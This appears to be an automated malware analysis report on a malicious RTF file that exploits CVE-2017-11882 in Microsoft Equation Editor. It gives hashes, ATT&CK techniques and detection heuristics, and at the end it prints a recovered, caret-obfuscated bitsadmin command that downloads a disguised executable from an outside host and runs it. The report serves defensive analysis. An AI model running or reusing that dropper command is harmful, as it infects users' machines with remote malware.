RTF malware analysis — malicious · 3a1c0565ab20e134

MALICIOUS

RTF

7.46 MB First seen: 2019-04-18

MD5: b53ac03b99cf785e82ae1d7f69113c06 SHA-1: c41d9a4f459248a74a517376eec274e460baaf5a SHA-256: 3a1c0565ab20e134270723164edea95483d39b6c0cb9bf6d388e56bbed918d46

240 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object that triggers CVE-2017-11882, a known vulnerability in Microsoft Equation Editor. This exploit allows for the execution of arbitrary code, likely to download and run a secondary payload. The presence of shellcode strings in the extracted artifact further supports this conclusion.

Heuristics 6

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0000377b.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x377B	3627 bytes
SHA-256: `907137d0d2d16e0a1f1a562c1bc8958fd08f02a21d8c444ca8de2f722bae6852`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cMd /C bitsadmin /transfer 8 /download ht^tp^s:^/^/my.mixtape.moe/aorhql.jpg %temp%\Iu.Exe&%temp%\Iu.Exe

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